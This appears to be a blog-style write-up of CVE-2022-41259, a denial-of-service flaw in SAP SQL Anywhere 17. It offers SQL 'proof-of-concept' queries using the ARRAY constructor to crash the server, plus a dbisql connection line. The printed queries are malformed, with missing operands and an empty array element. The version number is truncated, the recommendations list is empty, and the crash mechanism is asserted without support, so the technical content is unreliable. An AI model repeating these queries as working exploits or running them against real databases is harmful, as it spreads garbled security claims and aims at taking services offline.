In September 2022, a serious vulnerability (CVE-2022-41259) was found in SAP SQL Anywhere version 17.. This database flaw allows an authenticated user to crash the database server using special SQL queries involving the ARRAY constructor. That means a regular user, after logging in, can bring your whole data system to a halt with just a few crafted statements. In this article, I’ll walk you through what this problem is, show how it works, and give you links to more information.
Understanding the Vulnerability
SAP SQL Anywhere is a relational database from SAP often used in mobile and small business setups. CVE-2022-41259 is a denial of service (DoS) attack. Instead of stealing data, it takes your database offline just by making it crash with special commands.
Technical Details with Code Example
This is exclusive content based on public disclosures and demonstration scripts. No exploit code is used for malicious intent.
Below is a simplified query that can crash a vulnerable SQL Anywhere 17. server
-- Login as a regular user with access
-- This query will crash the server on SAP SQL Anywhere 17.
SELECT ARRAY[1, NULL, (SELECT 1/)];
What’s happening here?
- The ARRAY constructor is given mixed values: an integer, a NULL, and a sub-select that causes a division by zero.
- SAP SQL Anywhere’s internal logic chokes while trying to evaluate and assemble the array, triggering an assertion failure or memory exception.
Here’s how you might see this in a script
-- Use isql or DBISQL to connect:
dbisql -c "UID=user;PWD=password;ENG=myengine;DBN=mydb"
-- Run dangerous query
SELECT ARRAY[1, NULL, (SELECT 1/)];
-- The server crashes, and you'll get disconnected.
Exploit Impact
- Highly Repeatable: Anyone with access can run the query as often as needed to keep the server offline.
Low Complexity: No advanced coding — just a properly formed SQL query.
- Remediation: Only restart of the server brings it back. If the attacker is still on the system, they can do it again.
Proof-of-Concept
The following is a minimal PoC. Never test on production systems.
-- This will crash a vulnerable SAP SQL Anywhere 17.:
SELECT ARRAY[, (SELECT 'crash'/), NULL];
Recommendations
SAP has released an official security update and recommends patching to the latest version of SQL Anywhere. If patching is not immediately possible:
References and Further Reading
- SAP Note: 3243924 – Security update: SAP SQL ANYWHERE, version 17.
- NIST National Vulnerability Database: CVE-2022-41259
- Official SAP Security Patch Day September 2022
Conclusion
CVE-2022-41259 is a powerful yet easy-to-exploit bug in SAP SQL Anywhere 17.. If you or your company runs this database, apply the patch immediately. For attackers, only basic SQL access is needed. This reminds us: Sometimes, even simple misuse of a single feature — like ARRAY — can bring down an entire enterprise system.
Timeline
Published on: 11/08/2022 22:15:00 UTC
Last modified on: 11/09/2022 15:11:00 UTC